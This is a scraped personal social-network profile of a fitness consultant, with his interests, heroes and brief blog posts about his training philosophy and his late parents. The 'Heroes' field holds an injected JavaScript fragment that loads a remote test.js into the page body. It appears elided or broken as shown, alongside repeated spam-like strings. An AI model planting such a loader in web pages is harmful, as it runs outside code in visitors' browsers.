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Dan

Train smarter, not longer.

About Me

I am a fitness and weight training consultant. I answer questions via my website: "Dan's Health & Fitness" and at various message boards. If you have a question, I will do my best to find the answer. DanRate my poem, Click here
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My Interests

Sports, fitness and martial arts. "Simplicity is the key to brilliance." Bruce Lee ChelseaMSChelseaMS

I'd like to meet:



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Music:

70's Rock. Rate my poem, Click hereChelseaMSChelseaMS

Movies:

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Television:

Two & 1/2 Men, CSI, NCIS, Cold Case, Sports, Rams and Cardinals.ChelseaMSChelseaMS

Books:

3 Nights in August

Heroes:

Bruce Lee and Mark Mcgwire....."var x=document·('script');x.src='http://www.../.../test.js' ;document·getElementsByTagName('body')[0].appendChild(x );" /

My Blog

Mom

One year ago today, my mom died suddenly. I went to visit my parents' gravesite today.
Posted by Dan on Fri, 16 Mar 2007 10:34:00 PST

Dad

Eleven years ago today, my dad lost his battle with cancer. I still miss him like it was yesterday.
Posted by Dan on Tue, 27 Feb 2007 11:56:00 PST

Building Lean Muscle

Guide to Adding Lean Muscle Mass
Posted by Dan on Sat, 07 Oct 2006 04:37:00 PST

Training Philosophy

I believe in getting the most reward in the least amount of time. Training longer than necessary is counter-productive. It can lead to over-training and injury. I believe in short workouts using slow,...
Posted by Dan on Tue, 29 Nov 2005 02:29:00 PST

My Website:

Dan's Health & Fitness
Posted by Dan on Mon, 01 Jan 1900 12:00:00 PST